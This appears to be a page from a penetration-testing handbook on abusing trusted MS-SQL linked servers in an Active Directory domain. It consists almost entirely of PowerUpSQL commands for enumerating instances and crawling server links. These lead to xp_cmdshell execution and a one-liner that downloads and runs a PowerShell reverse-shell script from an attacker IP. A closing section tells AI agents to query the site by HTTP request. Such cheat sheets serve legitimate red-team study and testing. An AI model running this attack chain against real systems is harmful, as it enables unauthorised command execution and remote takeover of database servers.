# ABUSING MS-SQL TRUST

Enumerate instances of MS-SQL in current domain where attacker has read privilege

```
Get-SQLInstanceDomain
```

To get detailed information of MS-SQL instances in current domain where attacker has read privilege

```
Get-SQLInstanceDomain | Get-SQLServerInfo
```

To get all chain links of MS-SQL instances in current domain where attacker has read privilege

```
Get-SQLInstanceDomain | Get-SQLServerLink
```

To get chain links of specific MS-SQL instance

```
Get-SQLServerLink -Instance <MS-SQL INSTANCE>
```

To crawl the chain link from specific MS-SQL instance

```
Get-SQLServerLinkCrawl -Instance <MS-SQL INSTANCE>
```

To execute any SQL query while crawling MS-SQL instances

```
Get-SQLServerLinkCrawl -Instance <MS-SQL INSTANCE> -Query "<QUERY>"
```

To execute "whoami" query while crawling MS-SQL instances

```
Get-SQLServerLinkCrawl -Instance <MS-SQL INSTANCE> -Query "exec master..xp_cmdshell 'whoami'"
```

To trigger a reverse shell while crawling MS-SQL instances where command execution is possible

```
Get-SQLServerLinkCrawl -Instance <MS-SQL INSTANCE> -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http:// <IP>/Invoke-PowerShellTcp.ps1'')"'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://aidenpearce369.gitbook.io/handbook/ad-pentesting/domain-privilege-escalation/abusing-ms-sql-trust.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.